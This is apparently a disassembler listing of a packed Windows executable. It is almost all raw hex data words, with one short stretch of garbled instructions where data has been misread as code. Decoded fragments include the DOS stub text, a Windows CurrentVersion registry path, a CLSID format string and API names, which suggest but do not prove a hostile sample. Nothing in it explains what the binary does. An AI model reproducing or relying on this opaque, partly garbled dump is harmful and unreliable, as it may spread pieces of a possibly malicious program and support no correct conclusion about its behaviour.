dd 40B8FFFFh, 377FF97Fh, 1F0E04C8h, 0B4000EBAh, 0B821CD09h dd 68544C01h, 70207369h, 0FFFFFDBFh, 72676F72h, 63206D61h dd 6F6E6E61h, 65622074h, 6E757220h, 44026920h, 6D20534Fh dd 0FF6050EDh, 2E65646Fh, 240A0D0Dh, 134550C7h, 0FF21DBEDh dd 2014Ch, 41CA888Ah, 0B219DE0h, 0F080601h, 22B37EE9h dd 18A400E0h, 732510E0h, 6366F925h, 501E020Bh, 0E6760604h dd 341E0C96h, 59200710h, 0A006F65Eh, 757829E0h, 6FDDB201h dd 64D8017Ch, 3F764D38h, 742E3790h, 2B747865h, 6FFB20A2h dd 0EB96CBh, 2EE0041Ah, 6F6C6572h, 0ECA6CC63h, 0FB9E677Bh dd 42A22623h, 3D951079h, 30340370h, 669B2CDBh, 2FFA1226h dd 1B3046E2h, 3BAE9A69h, 32C0B42h, 0D36E5E14h, 4AB2CD34h dd 7062562Ch, 34D34D86h, 0C2AE9C4Dh, 9AF2E2D4h, 83659AEh dd 728182Dh, 9A69463Ch, 625469A6h, 0B28E786Ch, 9EA69A69h dd 2E2C6B4h, 0B9D34D2Fh, 2E0AF4CDh, 3C240397h, 0D34D344Ch dd 7C6A5C34h, 34DB9A8Ah, 0C0AAD34Dh, 2EF2E6CEh, 0A77659BFh dd 1087243Bh, 0E42BF403h, 0A69A69A6h, 0B6C0CAD4h, 6D60BAACh dd 9098A29Ah, 0B27FD72Bh, 0E9B67B66h, 2F8A9603h, 3307813h dd 17FFFF88h, 813066D2h, 54464F53h, 45524157h, 63694D5Ch dd 6F736F72h, 0FFFFE566h, 575C74FFh, 6F646E69h, 435C7377h dd 65727275h, 6556746Eh, 6F697372h, 68535C6Eh, 0DB6FFB7Fh dd 760C536Ch, 624F6528h, 7463656Ah, 79611044h, 64616F4Ch dd 7015AD6Eh, 82B3947h, 3F4D6739h, 2006A5FFh, 7041DB6Ch dd 6D747261h, 495C6E65h, 5EDFFA6Eh, 3B635303h, 323302h dd 49534C43h, 0D9235C44h, 0BBE77Eh, 3830257Bh, 34042D58h dd 61DBFA5Dh, 83237D03h, 9090FCECh, 5706F0E8h, 0AFBBDEF7h dd 3759060Bh, 74697845h, 0DE827C73h, 4CFB6046h, 71726269h dd 686B3B79h, 0D76C656Eh, 0DF67BF6Eh, 1B545FB5h, 0FD55779h dd 0DBFB7DF6h, 7562B565h, 69725067h, 67656CC7h, 305C2365h dd 1ED77850h, 0F2B642Eh, 4F4C5058h, 0B7376F11h, 727033D5h dd 61C52172h, 73642B62h, 0DEC6F66h, 126F6236h, 0BB79732Eh dd 0A0DD035Ch, 4964B835h, 3A5D5C21h, 0B7F6472h, 511A8FB1h dd 1F335F74h, 4F5F5CECh, 0B2186570h, 566EFE57h, 61484478h dd 6E706Eh, 37FFB5ACh, 542D2D4Dh, 51574B59h, 4A484647h dd 61130E0Ah, 411FF9EDh, 41594245h, 464C4853h, 67025B25h dd 20EF7B09h, 12050320h, 7BEE3023h, 0F32B0EFh, 15040B3Ah dd 83601E33h, 57677FFCh, 4B574A45h, 45574A46h, 13BBAB41h dd 444EFE9Ah, 44525349h, 0FF971A03h, 901FA200h, 0B6ECBCBh dd 8D0F1FA6h, 0B9219121h, 2319A4BCh, 35253123h, 7FD36D25h db 0D9h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 57740150h push 24h dec ch imul ch adc eax, 8D1E112Ch inc ebp lock push eax or [eax], ebp movzx eax, word ptr [ebp-6] push eax mov esi, ds:74F3CF20h iret ; --------------------------------------------------------------------------- db 0Ah dd 0FE0450FCh, 66F4F6F8h, 50F7FB9Bh, 5B78858Dh, 0C068F075h dd 10D63826h, 0ECBB36CDh, 68FEB017h, 0C4F14B4h, 7F1DB76Ah dd 599904FBh, 0DC5FF9F7h, 5205C283h, 0D60C2A50h, 0CC10345Dh dd 832F73BDh, 271538C4h, 29B06850h, 76DB3B81h, 0BF8F5B77h dd 575080A0h, 220F1228h, 736E5214h, 15A40647h, 8763730h dd 0E6B07D33h, 310B1766h, 68096A2Ch, 0E761D898h, 8830C9ECh dd 0DB9F2845h, 372F66FDh, 40687909h, 6E026823h, 986E7786h dd 5F12606Ch, 22C3C95Eh, 1BEF0AEFh, 8B5318E1h, 6726A91Dh dd 7D89FF33h, 0FF0AEFFCh, 83D3FFFCh, 895010C0h, 0DC1C312Ch dd 3B59F08Bh, 23840FF7h, 37BAEFDBh, 680A6A49h, 17563AE4h dd 56A021Dh, 0F00F468Dh, 7B16DFB7h, 18590F81h, 7640D3B4h dd 0ED6C0F46h, 1509730Fh, 2068570Ch, 14752412h, 0DED93FFBh dd 0E75C73Bh, 6A041809h, 8D23EB02h, 0F351F84Dh, 0B3DB1337h dd 2BF8111Ch, 50215E2Ah, 6EEDC210h, 0FA08823Bh, 13E95803h dd 0FB62840Ah, 68F7DD77h, 57833000h, 8B1F4C2Eh, 74DF3BD8h dd 5C14687Dh, 1BB73AD9h, 4681048h, 0EF4B70Ah, 0BB6F6044h dd 8BF66ABFh, 0F86858F8h, 5AC32B58h, 16F803F4h, 0F4BFC28Dh dd 0C87E89F1h, 0C103CB2Bh, 210B4689h, 0B86E7E22h, 5356E10Dh dd 104023B0h, 0EEF633E8h, 0C2DFEC6Fh, 50560F43h, 16565653h dd 74C68C3Ch, 17EE7709h, 0EB389B8Dh, 431C710h, 350807EBh dd 699ECDFh, 7111A25h, 611B7D8Bh, 5B6006A1h, 57465161h dd 8E310F60h, 96BB66DFh, 542461FCh, 0A31CAF0Fh, 0FFDE0EB4h dd 0A12175FFh, 7621B907h, 0C0693524h, 7F7C7BFBh, 6851C82Bh dd 98EDC212h, 1D582BD9h, 74BFD0F7h, 0F6FB2D24h, 0C701C7DCh dd 0A756155Ch, 0C033500Ch, 0DD3306BCh, 9A6B0CA1h, 6C5DA160h dd 0D9131A3Bh, 206AD956h, 0B438641Ah, 0DE089D8Dh, 16ECA2F0h dd 0D866B738h, 522E3019h, 6B02F8C3h, 0C7DBDA1Bh, 13010E10h dd 0D537106Ah, 0AD99E9B3h, 0C61014FCh, 0A702284Bh, 780DCD73h dd 4104FDD8h, 9D237C51h, 15117A79h, 0E07813E0h, 1F9259B5h dd 111244CFh, 72E9DB54h, 8B740ED3h, 2F7483F0h, 0D9E80390h dd 78325B64h, 1270A056h, 21199D35h, 681B6C57h, 0EF8D1F5Eh dd 537D8986h, 5357DB33h, 0EE906440h, 0E70B6FBDh, 6C745B83h dd 0A218BE56h, 6667BF6Ah, 87F538Ch, 15B5890Fh, 0D3EC5750h dd 858A3FD2h, 9F3674C0h, 39D66784h, 6CE6E199h, 26137476h dd 0EB158420h, 9BE171E3h, 0FC145B35h, 57D9895Bh, 0B067FC61h dd 0C38B5E3Fh, 48D5B5Fh, 56085D8Bh, 0B7FE5357h, 590EFDBEh dd 0C88B3D66h, 0D1443F76h, 5C1A3C80h, 0C1810D74h, 0AF6FFF6Dh dd 77C9151Fh, 4101EBECh, 73C83B66h, 0FFC91B23h, 2B4BE17h dd 0F12B6DF0h, 8DC51778h, 8A470814h, 94881A14h, 63766105h dd 0C7186D7Bh, 7AEB7E6Dh, 18B7C62Fh, 644C90A6h, 560C245Ch dd 0DDB7AF9Dh, 7C8B57FFh, 0DB851024h, 0A6E197Eh, 6AC02EABh dd 0E6787D1Ah, 0C280FFFEh, 3E148861h, 7CF33B46h, 1F2480E7h dd 109F3200h, 0F8EC2C02h, 8B0C8FFFh, 5648084Dh, 50BC0D89h dd 0F0C67775h, 930B237Bh, 0F898A151h, 4F84536Fh, 0DA0BB0B6h dd 0C711FC1Bh, 0C75C2404h, 76F67B01h, 59D759D6h, 68152E75h dd 0CBF01354h, 4E1AB37Eh, 0B27093Bh, 0CEB0408h, 0BDAFE161h dd 193C68F1h, 59E0A929h, 0C3585059h, 702795F7h, 189B0CC2h dd 72891703h, 0FB3DB363h, 12946801h, 8F59D126h, 95B73DA8h dd 934F85BDh, 940E01FEh, 0C9ADBF5Dh, 5D9C64C9h, 0F8F07B57h dd 6D937C9Dh, 80A530BBh, 0B1E19F68h, 59CDB44Eh, 3F00C0A3h dd 5F7BACA4h, 3C7C315Fh, 70241235h, 0B36E960Ch, 0BFA04505h dd 6657E564h, 55A05A78h, 26136DB7h, 0B93D9B9Ch, 0EBEB05FDh dd 0CFCE8E6h, 580A3468h, 77166CC7h, 756A7B16h, 0E15D2733h dd 0F7E35F17h, 0D8CDE804h, 8B76E69Fh, 0FC18A2F1h, 5006C79Ch dd 8C654113h, 1A1DE399h, 14C0196Ah, 8D66B605h, 0B7102610h dd 6E741F20h, 126D5781h, 0B0C30257h, 1EB56F09h, 18C8D761h dd 59350B75h, 89FF2DC0h, 1CEB147Eh, 9575757h, 99BEAC47h dd 14463EB7h, 20469974h, 8B1C1601h, 7F685FC6h, 568DC6D7h dd 420F6283h, 82444F6h, 66D82001h, 20D611DBh, 1B5E1D59h dd 0BB6F3DA2h, 8BEAFB59h, 74689D5Ch, 8BD77403h, 95A3DB76h dd 0F68514EDh, 61465609h, 0FB7F752Ah, 0DF1CB7F6h, 375F03Bh dd 515B718Dh, 27FA8318h, 20453925h, 35B20675h, 0C183FDB0h dd 3EB5104h, 184720D0h, 0B3F51402h, 0AF10D674h, 5DB44552h dd 5EB61CC2h, 0B870D805h, 0E41A7AC4h, 42BEE510h, 681804FFh dd 9A7A20C4h, 0C847896Ah, 0E4CED8h, 0CC18086Ah, 2BD8D8C8h dd 1016C420h, 11D94C35h, 18D4D032h, 1A05B08Dh, 69140B2Ch dd 1D19D81Bh, 45148E7Ch, 530800A0h, 170A565Eh, 605E12CCh dd 0B8FC4D61h, 0C604660Bh, 0C040940Ah, 0C0B383ABh, 70BDDDEDh dd 5750211h, 3CEBEA8Bh, 0CD0612CBh, 0AFBCC187h, 53A46810h dd 76FC1A8Ah, 0EB760362h, 0C7D3931h, 5D2BA5Dh, 17D0191Eh dd 1EE002EBh, 0DD6B5BB8h, 575F30F6h, 0AE718D00h, 0C57EDC91h dd 2189344Ah, 8C20E94h, 0F1386DAEh, 880BF98h, 98E7857h dd 8BEF12DBh, 0C331085Eh, 0FDF402F0h, 205C74C3h, 2C147449h dd 9BA1C7C8h, 660DA265h, 0DD4A7AC4h, 46E25C68h, 0EFE84D6Dh dd 0BA4F510Ch, 0F13563FFh, 0D8F7FC26h, 2456C01Bh, 71E405FCh dd 0D4839B50h, 18A86FC5h, 0C503E595h, 91B7B36Ah, 0C445FFB1h dd 940F753Bh, 8FB693C0h, 0F9D91F06h, 0CC264A3Eh, 0DE35B18Bh dd 59104D17h, 91060689h, 0F977CFA6h, 883B986h, 0E048A04h dd 0C460101h, 78FB5D27h, 18E7106Dh, 44C77AD5h, 8D9D5342h dd 0D9437639h, 5945F66Ah, 62065746h, 0CB3EB243h, 0F6AA3D06h dd 0B46C2B6Dh, 0CC9B54Ch, 5F018963h, 62144B56h, 4C5B5DDCh dd 0A420418Bh, 0DED6B455h, 56E1314Ch, 0A4CF3F68h, 16475D00h dd 14158866h, 0EB670574h, 8CDC336Ch, 0A9AAA627h, 6332001Dh dd 68039C1Bh, 0B8040F5Eh, 20612F6Dh, 0B60F6660h, 8AFB0573h dd 785EBB64h, 0C10B9897h, 58681261h, 28D05213h, 2E21FBC2h dd 6408A164h, 0A3072589h, 0DDC6C7CEh, 6589D22Ch, 0C29A5E8h dd 57F42724h, 0BBB07BD7h, 50C3030Bh, 0CC0AF868h, 0E4B40B76h dd 0F404014h, 0D170E12Eh, 61E0B916h, 2B34AF38h, 0F192A952h dd 90B36BFBh, 1AFA9B69h, 0D9B94DCh, 0A1538593h, 94934390h dd 0B6EB5B4Fh, 2FE416F8h, 0DB084239h, 0C0BF45F7h, 3BC8DA2Dh dd 7C807C5Bh, 573201Eh, 5A6D44C6h, 2E066FE2h, 0FFE9EB40h dd 75461F76h, 1BC3E075h, 81AE086Eh, 6480E003h, 0BAB1B961h dd 50CC3105h, 0A60C04D4h, 0A246A6DDh, 1E081D5Fh, 0D80450DAh dd 3CF3CF3Ch, 0CECCD4D6h, 79E79ED2h, 0B60A46D9h, 5060746h dd 0EF9E6A04h, 30818F9h, 6010204h, 602353B6h, 92156A71h dd 3405885h, 5790E813h, 3EC498C9h, 8598BF72h, 2350C49Ah dd 683F50AEh, 0ADC6B6Fh, 420821D0h, 37865950h, 0D911623Eh dd 0EBFFC483h, 1696D20Eh, 8BC3C2BEh, 598B0C75h, 0D907F185h dd 0BEFA37D3h, 7D83CF1Ch, 0E07000E0h, 1A46160Eh, 72CC9684h dd 0F20DB4F0h, 0CE718A70h, 0F468D8FBh, 3811C9F0h, 0ABFFC883h dd 7C2CCDF6h, 55C09FA1h, 92D63B0Ch, 9EA50D79h, 77FCB42Eh dd 86E41DE6h, 0FFFF7AF2h, 135EBB4Bh, 0DCA6CE8Bh, 2973CA3Bh dd 8839048Ah, 303CC045h dd 393C0972h, 8F4D1D73h, 0C0F87D77h, 4B0A0D6Ah, 797F74B8h dd 0D8F18BE4h, 0EB4106EBh, 0F390FD0h, 0EDBC2885h, 4A8DBD1Fh dd 48F13BF6h, 0FD735C15h, 88D1DFFFh, 144E8D00h, 2A7DC13Bh dd 2673C23Bh, 88380C8Ah, 0F980BC4Dh, 0B6B19A2Dh, 54040A53h dd 0DB77C959h, 75DB37DBh, 4092530h, 0D46583h, 0D44D3910h dd 0D966AFA0h, 8DBF76DEh, 75C23B56h, 0B8388A1Fh, 9A78D8E8h dd 1905080Ch, 36C143A4h, 0F8D6D8CCh, 802ED4ADh, 0D0F65181h dd 2113C62h, 0CD08D0Bh, 0FD87777h, 3E048D02h, 0E021B50h dd 0F023E44h, 498C639Eh, 80D346D0h, 0AD85C11h, 0B1208D0h dd 4C883C4h, 4AEE37B7h, 7F3205C2h, 7C01C40Ah, 7E0C0405h dd 6237895Dh, 43EA1A0h, 5066E31h, 0E6EC5AD4h, 6077530h dd 2C187431h, 1B0B3003h, 0D70997ADh, 10D86846h, 18BB6D4Ah dd 0E00A9214h, 0B84EA76h, 0C58830A1h, 9098C3C3h, 5878E423h dd 19679CDBh, 0D35DC569h, 0FDB05DB3h, 9EBF3C80h, 48B662Eh dd 0F2A02F4Fh, 35B97E10h, 97F0D7Ch, 0C475E33Ah, 0C972C33Bh dd 5BCB5321h, 35BB6150h, 572A2E53h, 9C62470Ch, 0BF087EC5h dd 590E7CB2h, 3BC975EBh, 0D33275CBh, 974C2CB0h, 0EFC65D5Dh dd 0BF74B34Dh, 9124753Dh, 0C109847h, 3043B164h, 33949DCBh dd 0C3E9C26Fh, 5306CBBBh, 900BBE4Ch, 0CC841966h, 0C47704CAh dd 65C25FF2h, 0DA047704h, 5330C483h, 4C0A6A53h, 0ACD6DF07h dd 5325FF0Ch, 497A20ABh, 0B815CE46h, 0D9AF27CCh, 0E4AAD91Bh dd 0D90C1EA8h, 8D919037h, 0A8A800A4h, 0A36FF3A3h, 7C8366F1h dd 7100085h, 875300Ah, 0EC3C304Bh, 75BE310Ch, 47FF9E0Fh dd 16C811C8h, 0AE608852h, 0FA260394h, 4B466EB7h, 0ECEB5CFDh dd 3DC86212h dword_442560 dd 7D6857C3h, 7E80C58Bh, 423A0617h, 866DCE6Dh, 1CA5196Dh ; DATA XREF: .data:off_44141Eo dd 1E05F51Ah, 0D26329C1h, 0C22936Ch, 0ABE824D0h, 5EFE0D6Fh dd 3F32B36h, 0D1B89B30h, 0C11656EEh, 16F06DAFh, 0DFFC60Eh dd 0B54A140Ah, 2A2AB472h, 37096F20h, 22A850B3h, 0BF09037h dd 0BF6E1174h, 0F3928D1h, 0D1C22B99h, 27E0EF8h, 0EB6356B1h dd 0D33F923h, 7615AB2Ch, 0F6FD1CBh, 818DF9D1h, 7E275F70h dd 7FB76605h, 0EBACE9A1h, 79FEAC16h, 0B87D3B02h, 0B8F84173h dd 42F62D2Bh, 0AD90EC13h, 67501F04h, 0C4B62D72h, 15F703DBh dd 0D8E8D190h, 0DB1955C7h, 43A3F336h, 0B0E1655h, 647D6F47h dd 7FFF1EDFh, 7CF73BF0h, 17E8D06h, 814FBAEBh, 0A6E2A4C7h dd 473FE3Bh, 0D5B6FC1Eh, 4EACF78Bh, 2B00FC5Fh, 7622AC75h dd 0A30C90A1h, 7890024h, 5CD9A604h, 4789A4FBh, 7F9F504h dd 12B4C808h, 0A9CB5285h, 21C098A7h, 322B1A37h, 0B1101047h dd 8E95BA10h, 0A1A5C744h, 0AA32D527h, 401D4582h, 9436186Eh dd 97573C60h, 2BB54868h, 0A05B7619h, 980E15B8h, 8E0C9E9Ch dd 9193E951h, 0CE35C73Eh, 2A2EE05Dh, 0B741E14h, 6A6E4611h dd 850B5BF8h, 8B5A9A04h, 2084B88Ch, 77B9CA53h, 0D7715B1Fh dd 5589DC24h, 3C8D1AE8h, 7E1704BDh, 43C969ADh, 8DA0072Bh dd 1B10A402h, 8501D49Fh, 300F560h, 8605FEBBh, 6857E035h dd 1345F9B8h, 0CC308573h, 4816B80Eh, 0DB59893Eh, 3913EC18h dd 0AFA26285h, 1A3A441h, 6BE0ACEAh, 6F7F7269h, 734FF64h dd 40BB4E5Dh, 82A012C5h, 4A95CD9Bh, 10689731h, 84EC5027h dd 98C439CEh, 11830CDEh, 8BA5EE72h, 12FE7A3Dh, 0A8DBA0B9h dd 7CC052C5h, 7B1BAC01h, 7517DBFBh, 0EBE51839h, 8DE00B37h dd 6C51D01Ch, 19B0F65Ch, 1BE1103h, 0FD7B0F20h, 282BB1DBh dd 0BD6F1B06h, 0CC38151Ah, 0A3C4B5FFh, 4DCD99F9h, 1863CCD0h dd 0DDBB8C0Eh, 711E0B0Dh, 30CB84EBh, 0D868D31Bh, 0B9EC9D90h dd 996975B8h, 10984B4Fh, 53061326h, 244F8053h, 0EB4E404Ch dd 0B7646A91h, 5F471304h, 439C87EBh, 6C2008C6h, 0E88C0DB8h dd 63C7ABBAh, 5D346A42h, 0C11D72Fh, 0F460C6C7h, 7DAF6359h dd 460B2C8h, 23F0B850h, 11EC0912h, 61548C19h, 0C80BEEC8h dd 51C78359h, 7CC84D83h, 0EBF160C0h, 1C285778h, 8EC6045Fh dd 1B6B5AF0h, 0E8BAC0Bh, 0DAB74C33h, 76D09899h, 0C8B52139h dd 0B83351A6h, 3E8924CFh, 0FCBBA289h, 0B8844420h, 6425527Dh dd 97D684AFh, 0C683477Eh, 72F0C208h, 0A75ECFh, 0D81DCC04h dd 0C4C75F78h, 5328D574h, 0CBFAE07h, 474CD135h, 9F11280Fh dd 67E8666Ah, 2C11138Bh, 480825FFh, 0C8E79105h, 0F80004C8h dd 0C16CF410h, 0ECF0919Ah, 0E81900CCh, 8C8CEC27h, 5100DCE0h dd 1BF6F33Dh, 0F58D767Dh, 81147208h, 662D87E9h, 7F6F162Dh dd 170185ECh, 0C82BEC73h, 8B0CC48Bh, 0C8F18BE1h, 40C1B748h dd 804FC331h, 869F8C88h, 0E9998CC8h, 602960B8h, 77C9C96Fh dd 0C8133A1Dh, 284A0088h, 520F4F7h, 80E11993h, 0CC397E16h dd 34F7D03Dh, 85A8271Bh, 48206F50h, 972EDF1Bh, 132B0D97h dd 10DC2C32h, 35802A74h, 2F7C4BCBh, 3A276C1Ch, 0D6E5CB20h dd 5811142Fh, 5CDA3058h, 805FAC76h, 2898132Bh, 2089E811h dd 2A6578Ch, 0BFE59F72h, 9709E6B5h, 6D656D02h, 99797063h dd 0B3B96573h, 0BE7497FCh, 72747302h, 0C56E656Ch, 0DD3BC302h dd 63096BCFh, 31BA1D61h, 0B76CD3A6h, 333F3F7Fh, 58415940h dd 5A400250h, 0FD320F0Fh, 0E3AF837h, 0AACA0F49h, 65637865h dd 685F7470h, 43D16EDDh, 3DC17252h, 696F4302h, 0B2FDADB3h dd 435F491Bh, 85467878h, 781D4875h, 0AF0ADEA3h, 5F484513h dd 676F6C82h, 0B41BD42h, 5243D031h, 7D9C7B54h, 49573DB6h dd 0C45014Eh, 8A6C038Fh, 0DEE0B641h, 0AA0B7933h, 3743240Bh dd 0B54276A8h, 0D60BDBFh, 0DEDB5460h, 52657474h, 81056FD3h dd 0FDB6B7BAh, 7257037Fh, 62500E69h, 4D737396h, 0FB9B721Bh dd 89C7EED7h, 13F64701h, 72646441h, 2E671117h, 213AA5D8h dd 5F4F6C75h, 0FFDAD809h, 69560356h, 61757472h, 2A84416Ch dd 0C10A8445h, 261751Ch, 0B5354C31h, 33FFEA9Bh, 6B636954h dd 4E756F43h, 6490207h, 0AEED86B6h, 656B2BD5h, 3632E64h dd 0EB579767h, 4D41C04Ah, 65555075h, 4DEA930Fh, 452FA136h dd 0FDFEDAD1h, 3885961h, 0DB636C5Fh, 5302F500h, 0BC80461Dh dd 6710A56Dh, 14F0D6Dh, 70E09E47h, 6F258BDDh, 70210B8Fh dd 0F6B6D579h, 5323A66Bh, 44EB0F79h, 0E6EC1EBEh, 16F10C5Ah dd 335B0273h, 2BB64E32h, 30D7026Bh, 718C4975h, 0CB68E6C8h dd 0AD066525h, 0AA96DF68h, 0B0A36F70h, 6E531870h, 6B617061h dd 6F2846DDh, 7F43D51Bh, 784B1E62h, 414482DBh, 45DB6D65h dd 7C33BB46h, 15EA4EA5h, 0B530329h, 16D83714h, 2FDA00ECh dd 0D2306E1Ah, 0CD86F92Fh, 0C3ACD5AAh, 0DAD6C85Ah, 45614CF2h dd 468511A0h, 3B9D66F7h, 1FAE7645h, 60640F4Ah, 7AAEC2B4h dd 6544007Fh, 886F49FBh, 0D6D5671Eh, 0E5004C76h, 79651F31h dd 61378000h, 87022ED5h, 8D965DC8h, 453C1386h, 61236592h dd 1600446h, 255368D8h, 0CF75426Ch, 0A900F8D4h, 721C4902h dd 735B2DEBh, 7043AD6Ch, 694C430Ah, 0C9BD53C2h, 3D217386h dd 0C288765Fh, 0D5284B08h, 0BBF19F79h, 1C68F436h, 7D18FF50h dd 2EDB4500h, 4508F653h, 5C646969h, 0B76A9F68h, 2767428Dh dd 7942146Ch, 0CE6ECA26h, 284F55D1h, 787A6927h, 63090330h dd 0F459B55h, 0DFE96AB0h, 454B00F8h, 0C74C3C52h, 70A95D0Bh dd 635D02D8h, 7B716682h, 258CC218h, 71D6FC80h, 1789E9C3h dd 72676506h, 0ED2564D0h, 7C3B36h, 0CAF00E3h, 5A53553Fh dd 61E176B6h, 0F9001C57h, 0B3EE756Ah, 9DB06Bh, 73B7149Ch dd 36C3017Dh, 126FADC9h, 96567075h, 621EA775h, 1A86901h dd 528B343Dh, 0D48E16F0h, 654BC620h, 440DF8A9h, 34CC4336h dd 0CC1F9A30h, 3BDFD6D8h, 411220ECh, 496F5644h, 79424B83h dd 6F432561h, 6C112755h, 0F666785h, 54754730h, 6B0D390Fh dd 1F49D603h, 0AE3C916Fh, 845160h, 0DFD6FFCEh, 5C333F50h dd 6C336033h, 337C3A33h, 338C3380h, 6FFFF90h, 33AF33FFh dd 33C433B9h, 9341BEBh, 31342234h, 5A345334h, 84347934h dd 0FFFFFF34h, 0BB34A8FFh, 0F634CC34h, 2B350634h, 3B353135h dd 5D354E35h, 88357D35h, 93358E35h, 0A7359D35h, 0FFFFFF35h dd 0D335B4FFh, 0F535EA35h, 35361035h, 48364036h, 61365B36h dd 77366636h, 97369036h, 0B236AB36h, 0FFFFFF36h, 0D136C2FFh dd 436E636h, 23371837h, 39372A37h, 68375337h, 0C2376F37h dd 0F937F237h, 0B7386937h, 0FFFF5638h, 0DE38CCFFh, 0FF38EB38h dd 50392938h, 80395C39h, 9A399439h, 0B839A539h, 0FFFFA539h dd 39C5FFFFh, 39D239CBh, 39E039D8h, 39F839E5h, 3A483A0Dh dd 3A843A4Fh, 3AA53A92h, 3AED3AE4h, 6FFFFF3Fh, 3C123BF1h dd 383C0E27h, 5E3C3F3Ch, 0B13CA33Ch, 0F23CBE3Ch, 0C73D043Ch dd 0FFFFFF3Dh, 0F53DE5FFh, 183E133Dh, 3A3E343Eh, 7F3E793Eh dd 0E93E983Eh, 573F503Eh, 6B3F643Fh, 863F7B3Fh, 0C34A3F3Fh dd 0CB3F98FFh, 0EC3FD13Fh, 0F3FF13Fh, 302A7320h, 0FFFFFFFEh dd 31B531B0h, 3320330Ah, 3337332Ah, 33B533B0h, 35663553h dd 362C3615h, 364A3633h, 0FFDC3657h, 0C3EFFFFFh, 375836ECh dd 37C837B4h, 37FA37F4h dd 38403836h, 38593847h, 38993887h, 38A638A0h, 0FFFBBFFFh dd 38B238ACh, 38BE38B8h, 38D238C4h, 3922D1D8h, 392E3928h dd 3951393Dh, 39843968h, 0E3584004h, 0F0AC3990h, 12819200h dd 0F7D0FF8Ah, 75ABFF65h, 3149D00Fh, 31ABE6Eh, 7151ABFh dd 7CDF37DDh, 1AAD4D68h, 0B44D3736h, 68F63F1Ah, 27301AB8h dd 14644F52h, 686369E7h, 0F7000507h, 0E4B9B535h, 140727Ch dd 79F3140h, 9ABE02EBh, 31A09713h, 0C80B0D2Ch, 0F601E9D8h dd 19270403h, 0A0F27BC5h, 25FECA3Bh, 8A31DB07h, 3A307C53h dd 689F3460h, 92BDCEC2h, 2338E004h, 0A703304Fh, 0C840BC28h dd 76A9831Ch, 7A32A76h, 602B2954h, 8C2DA207h, 3B920762h dd 525E642Bh, 0E7617461h, 530780FBh, 7314643h, 65B2D8C8h dd 0AF5458DDh, 72C2307h, 0A8DB34Fh, 9F2EE21Dh, 23EB00D1h dd 0F37D98A3h, 3B570780h, 7F1460E1h, 0C00302B2h, 4651ED07h dd 32E27F31h, 36CEEB03h, 18330ACBh, 0C01332F6h, 0A603AA0Bh dd 94A69A69h, 384A60DEh, 9AEBB2C8h, 267F10FAh, 44337A8Bh dd 375D34D3h, 3B23BC6h, 656A7E96h, 5E4D34D3h, 0FE162E3Eh dd 69A69A31h, 0B8D0E69Ah, 0E3748CA6h, 5C6D9630h, 25B9331h dd 414DF27h, 51264AA4h, 0FFC98353h, 54BF722Eh, 5051C1F9h dd 5F2020BBh, 821FEAB7h, 2856C5FCh, 0C5FC7D8Bh, 97D488B9h dd 332E7782h, 5DABF3C0h, 328358Bh, 6E89B73Dh, 45E488A0h dd 1405E888h, 0EE936C8Ch, 1DE40E08h, 21C8D8D4h, 0D4D88723h dd 763278DCh, 0EE0E0C8h, 0E4EC05DCh, 0E123EF92h, 0F4FC0AD6h dd 9EC1B9FFh, 133CC083h, 4EA6AC04h, 39F633FCh, 0F772B782h dd 4875F875h, 5FC6814h, 646A3822h, 3DF7CCD6h, 1B22C4C8h dd 0EF181322h, 34D9333Bh, 74141C16h, 3870FF14h, 0BAFB500Fh dd 0FC8B1682h, 14EA1009h, 0BE7C00A2h, 0F8D8E0CCh, 192EE14Bh dd 5F7DCC86h, 8EB70F10h, 763F01CAh, 2A2170ACh, 0F1BE8D28h dd 74C73B07h, 0EEF6C812h, 4508BFFh, 8950088Bh, 451890Ah dd 0EB5E441Bh, 0B7D41DE8h, 3F723D8Fh, 1FC4588Dh, 2C603D83h dd 41750419h, 0CF15B6Fh, 0BA3C4E8Dh, 46880B02h, 0FD8CD40h dd 0D24CA1DBh, 568AC91Ah, 0EBA01D40h, 0B64023D9h, 0FFDC4ABBh dd 10E1EE76h, 3407B67Eh, 47868D2Eh, 0B10C354Fh, 114528Fh dd 0FF03DC56h, 87A9141Ah, 8B2ED10Eh, 1FFF85F8h, 73F355B4h dd 678308A9h, 47C70018h, 0DE1011Ch, 6007375h, 460D0624h dd 0B28E8D0Eh, 0FBC74F8Fh, 8A204789h, 86889E25h, 0F6B7F776h dd 438B1A67h, 1F1F8904h, 7B893804h, 18968A04h, 0B367DB36h dd 7505AC97h, 40D015h, 5EEC8E76h, 0FF4D4758h, 0EB0BC4B6h dd 36587607h, 0A5361B1Ch, 3D078550h, 2F34E180h, 51CD9B3Ch dd 4F8B6369h, 1890719h, 0DEC966C6h, 735A4889h, 645EC260h dd 0C7C06E7Bh, 0B6C4B2ABh, 3399B008h, 0BD02CDDDh, 9D835AD0h dd 8BB8B657h, 0B84DF21Dh, 80112B0Ah, 6FB2AC3h, 0C01B2B59h dd 0BB9D31Eh, 8D30D0DFh, 83CC8E5Dh, 0D308247Ch, 2DFEE10Fh dd 470C9901h, 8A3008Bh, 0C058A06Bh, 0C9C2B1B6h, 0DD796CCh dd 9A4B6017h, 79BBBFB8h, 7FE00EDBh, 80605E8Bh, 44750E3Bh dd 8BF84B8Bh, 6D4DC253h, 0F0B7F017h, 0FF330C0Bh, 0D9E0F981h dd 0C410F445h, 0F8ED9BD2h, 0E40D4174h, 5D8D3974h, 75FB52FBh dd 509A4DBBh, 3E507751h, 0BF510964h, 97E04B0Dh, 322FD2EAh dd 187E89D2h, 301C4689h, 0C225768Bh, 44C78BC4h, 16F0D9F0h dd 30FF51CDh, 74544C60h, 2D23EDCAh, 85F06B9Fh, 0CDB58F6h dd 0DB6446C6h, 0DDFBBF63h, 3B896846h, 850F044Bh, 0F983153Ch dd 33820F0Dh, 0DB37F41Eh, 55D81A37h, 0CA3B0CC2h, 7D812210h dd 0C1EA16F8h, 9759F7Fh, 0C61846C7h, 23F66673h, 8BE3D85Ch dd 719F8D1Ah, 488D1C4Eh, 0E106050Ch, 8B20F6DBh, 55CBD740h dd 0EC5D8924h, 0B16F874Ah, 928F46BFh, 2BE4878Dh, 318906F4h dd 0C2C8C678h, 97567089h, 5D8B13CBh, 585B4200h, 481D430Fh dd 0CD2CBAC6h, 0B746CD20h, 68577746h, 10F9D52Bh, 0C1DBF7B9h dd 170B6185h, 1DF43135h, 0B2AAC0Ch, 0B5748A0Dh, 286E3BE4h dd 0DB80B5A1h, 459C4189h, 444449F0h, 0E0866170h, 4EA6E689h dd 0B2727670h, 0EC9706F1h, 9F2C569Bh, 0C5F58860h, 